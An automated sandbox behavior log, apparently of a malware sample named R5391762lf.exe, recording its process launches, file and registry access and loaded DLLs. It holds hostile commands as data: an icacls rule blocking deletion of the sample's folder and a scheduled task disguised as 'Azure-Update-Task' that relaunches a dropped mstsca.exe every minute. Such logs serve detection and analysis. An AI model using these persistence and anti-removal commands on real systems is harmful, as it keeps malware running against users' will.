File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\R5391762lf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: R5391762lf.exe	String found in binary or memory: set-addPolicy
Source: R5391762lf.exe	String found in binary or memory: id-cmc-addExtensions
Source: R5391762lf.exe	String found in binary or memory: set-addPolicy
Source: R5391762lf.exe	String found in binary or memory: id-cmc-addExtensions
Source: R5391762lf.exe	String found in binary or memory: set-addPolicy
Source: R5391762lf.exe	String found in binary or memory: id-cmc-addExtensions
Source: R5391762lf.exe	String found in binary or memory: set-addPolicy
Source: R5391762lf.exe	String found in binary or memory: id-cmc-addExtensions

Source: C:\Users\user\Desktop\R5391762lf.exe

File read: C:\Users\user\Desktop\R5391762lf.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\R5391762lf.exe "C:\Users\user\Desktop\R5391762lf.exe"
Source: C:\Users\user\Desktop\R5391762lf.exe	Process created: C:\Users\user\Desktop\R5391762lf.exe "C:\Users\user\Desktop\R5391762lf.exe"
Source: C:\Users\user\Desktop\R5391762lf.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Desktop\R5391762lf.exe	Process created: C:\Users\user\Desktop\R5391762lf.exe "C:\Users\user\Desktop\R5391762lf.exe" --Admin IsNotAutoStart IsNotTask
Source: unknown	Process created: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe --Task
Source: C:\Users\user\Desktop\R5391762lf.exe	Process created: C:\Users\user\Desktop\R5391762lf.exe "C:\Users\user\Desktop\R5391762lf.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Process created: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe --Task
Source: C:\Users\user\Desktop\R5391762lf.exe	Process created: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe "C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe"
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Process created: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe "C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe "C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe" --AutoStart
Source: C:\Users\user\Desktop\R5391762lf.exe	Process created: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe "C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe"
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Process created: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe "C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe" --AutoStart
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe	Process created: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe "C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe"
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe "C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe" --AutoStart
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Process created: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe "C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe" --AutoStart
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\Desktop\R5391762lf.exe	Process created: C:\Users\user\Desktop\R5391762lf.exe "C:\Users\user\Desktop\R5391762lf.exe"	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d" /deny *S-1-1-0:(OI)(CI)(DE,DC)	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Process created: C:\Users\user\Desktop\R5391762lf.exe "C:\Users\user\Desktop\R5391762lf.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Process created: C:\Users\user\Desktop\R5391762lf.exe "C:\Users\user\Desktop\R5391762lf.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Process created: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe --Task	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Process created: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe "C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe"	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Process created: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe "C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Process created: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe "C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe"
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Process created: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe "C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe" --AutoStart
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe	Process created: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe "C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe"
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build3.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Process created: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe "C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe" --AutoStart
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe

Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: browcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\R5391762lf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: drprov.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: ntlanman.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: davclnt.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: davhlpr.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: cscapi.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: browcli.dll
Source: C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\3e091c6f-72a1-42bd-89b8-7e8a9a94f76c\build2.exe	Section loaded: ncrypt.dll
